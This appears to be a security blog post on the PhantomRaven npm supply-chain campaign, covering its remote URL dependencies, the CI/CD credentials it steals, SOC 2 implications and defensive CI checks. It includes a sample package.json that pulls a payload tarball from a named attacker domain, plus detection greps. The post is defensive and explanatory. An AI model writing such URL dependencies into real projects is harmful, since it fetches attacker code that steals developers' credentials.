PhantomRaven's 88 Malicious npm Packages Are Still Live and Stealing Your CI/CD Credentials

You run npm install. Everything looks clean. Your lockfile updates, your build passes, your tests are green. But somewhere in the background, one of the packages you just pulled fetched a second payload from an attacker-controlled server, scraped your GitHub Actions secrets, exfiltrated your GitLab CI tokens, and sent your Jenkins credentials to a command-and-control server in a country you've never visited.

That's not a hypothetical. That's PhantomRaven, and 81 of its malicious packages are still live on npm right now with two active C2 servers waiting for data.

Security researchers at Endor Labs have been tracking this campaign since its first wave in October 2025, when 126 packages racked up over 86,000 downloads. Between November 2025 and February 2026, attackers published 88 additional packages using the same malware payload. The consistency is remarkable: 257 of 259 lines of malicious code are identical across every variant. Only the C2 domains change. This isn't experimentation. It's industrialized credential harvesting.

I've written about supply chain attacks hitting PHP's Packagist registry before - where dependency chaining hid a RAT inside clean-looking Laravel packages. PhantomRaven uses a different technique that's arguably harder to detect, and it specifically targets the credentials that make your entire CI/CD pipeline vulnerable.

Remote Dynamic Dependencies: The Technique That Bypasses Every Scanner

Most malicious npm packages embed their payload directly in the code. Security scanners look for obfuscated strings, suspicious eval() calls, network connections in install scripts, and known malicious patterns. The PhantomRaven authors skipped all of that.

Instead, they specified HTTP URL dependencies in package.json. When a developer runs npm install, npm sees these URL dependencies and dutifully fetches them from the attacker's servers. The package itself contains zero malicious code. The malware arrives through npm's own dependency resolution mechanism.

This is called a Remote Dynamic Dependency (RDD) attack. Here's what it looks like in practice:

{
  "name": "babel-plugin-transform-debug",
  "dependencies": {
    "helper-module": "https://storeartifact.com/packages/helper-module-1.0.0.tgz"
  }
}

That URL points to an attacker-controlled server. The .tgz file it returns contains the actual credential-stealing payload. But every static analysis tool scanning the npm package sees nothing suspicious - just a normal dependency declaration pointing to what looks like an artifact repository.

The naming is calculated. PhantomRaven packages masquerade as Babel plugins, GraphQL utilities, and ESLint presets - exactly the kinds of packages a JavaScript developer installs without thinking twice. The technique is called slopsquatting: creating packages with names that sound like they could be real tools, targeting developers who search npm for common functionality.

What PhantomRaven Actually Steals

This isn't a generic data exfiltration campaign. PhantomRaven is specifically built to harvest CI/CD credentials and developer environment data:

The malware exfiltrates data through multiple channels - HTTP GET/POST requests and WebSocket connections - making it harder to catch with simple network monitoring rules that only watch one protocol.

The targeting is strategic. CI/CD credentials are the skeleton key to a startup's entire infrastructure. With a GitHub Actions token, an attacker can modify your deployment pipeline, inject code into production builds, access private repositories, and pivot into your cloud infrastructure. A compromised Jenkins credential can grant access to every secret your build system touches.

For a five-person startup that stores everything in environment variables and CI/CD secrets (which, let's be honest, describes most early-stage companies), a single PhantomRaven infection could expose the keys to the entire kingdom.

The SOC 2 Problem You Didn't Know You Had

Here's where this gets uncomfortable for any startup pursuing SOC 2 compliance: your auditor is going to ask about your supply chain controls, and "we use npm" is not an answer.

SOC 2's Trust Services Criteria include several controls directly relevant to supply chain attacks:

CC6.1 - Logical Access Controls: You're required to implement controls that restrict logical access to your systems. If a malicious npm package can exfiltrate your CI/CD credentials, you've failed this control. The malware had access to everything your build environment had access to, and no access control stopped it.

CC7.1 - System Monitoring: You need to detect changes in your environment, including unauthorized third-party components. If 88 malicious packages entered your dependency tree without detection, your monitoring controls have a gap.

CC7.2 - Anomaly Detection: You're expected to identify anomalous activity. A package making outbound WebSocket connections to unknown domains during npm install is anomalous. If you can't detect that, your anomaly detection needs work.

CC8.1 - Change Management: Every change to your production environment should be authorized and documented. An npm dependency that fetches executable code from an external URL at install time is an unauthorized change to your build environment. Your change management process should catch this.

I've seen startups sail through SOC 2 audits with zero supply chain controls because auditors focused on access management and encryption. That's changing. As supply chain attacks become more prominent, auditors are asking sharper questions about dependency management, and "we trust the registry" is starting to generate findings.

If you're building your security-first development practices now, supply chain controls should be near the top of your list. The cost of implementing them today is a few hours of pipeline configuration. The cost of explaining a supply chain breach to your auditor - or worse, your customers - is measured in months and dollars.

How to Check If You're Affected

Before you do anything else, check your current dependency tree for PhantomRaven indicators.

Step 1: Search for URL Dependencies

PhantomRaven packages use HTTP URLs instead of version ranges. Search your lockfile for URL-based dependencies:

# Check package-lock.json for URL dependencies
grep -E '"resolved":\s*"https?://' package-lock.json | grep -v "registry.npmjs.org"

# Check for URL dependencies in any package.json in node_modules
find node_modules -name package.json -exec grep -l '"https\?://' {} \;

Any resolved URL pointing somewhere other than registry.npmjs.org warrants investigation. The PhantomRaven campaign used domains like storeartifact.com, jpartifacts.com, and artifactsnpm.com, but the attacker rotates domains regularly.

Step 2: Audit Your Direct Dependencies

# List all direct dependencies with their resolved versions
npm ls --depth=0

# Check for known vulnerabilities
npm audit

# Look at recently added packages
git log --diff-filter=A -p -- package.json | grep "+"

Step 3: Check CI/CD Logs for Unusual Network Activity

If your CI/CD platform provides network logs, look for outbound connections to unfamiliar domains during build steps. PhantomRaven exfiltrates data over both HTTP and WebSocket connections, so standard HTTP logging alone won't catch everything.

What to Do About It: A Practical Checklist

If you're a developer, CTO, or founder running a JavaScript/TypeScript project, here are the controls that would have caught PhantomRaven - and will catch the next campaign that uses the same technique.

1. Block URL Dependencies in Your Pipeline

The simplest and most effective control. Add a CI step that fails the build if any package.json in your dependency tree contains URL-based dependencies:

# Fail build if any package uses URL dependencies
if grep -r '"https\?://' node_modules/*/package.json --include="package.json" | grep -v "registry.npmjs.org"; then
  echo "ERROR: URL dependencies detected. Review before proceeding."
  exit 1
fi

This single check would have blocked every PhantomRaven package.

2. Use a Lockfile and Enforce It

Commit package-lock.json to version control. In CI/CD, always use npm ci instead of npm install. The difference matters: npm ci installs exactly what's in the lockfile and fails if the lockfile is out of sync with package.json. This prevents npm from resolving new dependencies at build time.

# CI/CD: always use npm ci
npm ci --ignore-scripts

The --ignore-scripts flag is important. It prevents install scripts from running automatically, which blocks many supply chain payloads from executing during installation.

3. Pin Dependencies to Exact Versions

In package.json, use exact versions instead of ranges:

{
  "dependencies": {
    "express": "4.21.2",
    "lodash": "4.17.21"
  }
}

Version ranges like ^4.0.0 let npm resolve to any compatible version, including a newly published compromised release. Exact pinning means you control exactly when and what you upgrade.

4. Add Software Composition Analysis (SCA) to Your Pipeline

SCA tools scan your dependency tree for known vulnerabilities and suspicious packages. Several free options can catch attacks like PhantomRaven. The free security toolstack covers the best open-source options in detail, but for npm-specific supply chain defense, start with these:

Socket.dev - Specifically designed to detect supply chain attacks. It analyzes package behavior (network connections, filesystem access, shell execution) rather than just checking CVE databases. Socket would have flagged PhantomRaven's URL dependencies as suspicious.

npm audit signatures - Verifies that packages were published through npm's registry (not a third-party URL) and signed by the expected maintainer.

# Verify package signatures
npm audit signatures

Snyk - Free tier includes dependency scanning for open-source projects. Catches known CVEs and some supply chain indicators.

5. Implement Egress Filtering

If your CI/CD runners can talk to any IP address on the internet, a malicious package can exfiltrate data anywhere. Restrict outbound network access from your build environment to only the domains your build actually needs:

• registry.npmjs.org (npm packages)
• Your container registry
• Your deployment targets
• Your artifact storage

Everything else should be blocked. This is the single most underused security control in startup CI/CD environments, and it would have prevented PhantomRaven from reaching its C2 servers even if the malware executed.

6. Rotate CI/CD Secrets on a Schedule

Even if you're not currently affected, rotating CI/CD credentials regularly limits the blast radius of any future compromise. If an attacker steals a token that expires in 24 hours, they have a much smaller window than if your GitHub Actions secrets haven't been rotated since you created the repository.

Why This Keeps Happening (and Getting Worse)

PhantomRaven is the third major supply chain campaign I've covered this year. The Packagist attack used dependency chaining. The tj-actions/changed-files compromise hit 23,000 repositories through a poisoned GitHub Action. Each campaign uses a slightly different technique, but they all exploit the same fundamental problem: modern applications are mostly other people's code, and the trust model for that code is broken.

A typical startup's node_modules directory contains hundreds of packages from dozens of maintainers. Each one is a trust decision you never explicitly made. You chose Express. Express depends on 30 packages. Those packages depend on another 50. By the time your dependency tree resolves, you're running code from people whose names you've never seen.

The RDD technique PhantomRaven uses makes this worse because it lets attackers update the payload without publishing a new package version. Your lockfile doesn't change. Your npm audit doesn't flag anything. The malicious code is fetched fresh from a server every time you build. It's supply chain as a service.

AI is accelerating this trend in both directions. Large language models can generate convincing package names, realistic READMEs, and plausible-looking source code in seconds. The social engineering cost of publishing a credible-looking package approaches zero. At the same time, AI-powered tools like Socket.dev are getting better at behavioral analysis that catches these attacks before they execute. The defenders have better tools. The question is whether startups are using them.

The Bottom Line for Startups

If you're pursuing SOC 2 and you haven't addressed supply chain security in your dependency management, you have an open finding waiting to happen. And more importantly, you have a real security gap that a real attacker - not a hypothetical one - is actively exploiting right now.

The fixes aren't expensive. Block URL dependencies in CI. Enforce lockfiles. Add SCA scanning. Restrict egress. Rotate secrets. You can implement all five controls in an afternoon, and they'll protect you against not just PhantomRaven but the next campaign that uses a technique nobody's named yet.

Eighty-one malicious packages are still on npm. Two C2 servers are still running. And npm install is still running in your pipeline right now.

Keep reading:

• Security-First Development: A Practical Guide That Will Save You Months and Thousands of Dollars
• Fake Laravel Packages on Packagist Show Supply Chain Attacks Have Evolved Past Typosquatting
• The Free Security Toolstack: Every Security Tool You Need for $0

Need help locking down your npm supply chain or preparing for a SOC 2 audit? Let's talk.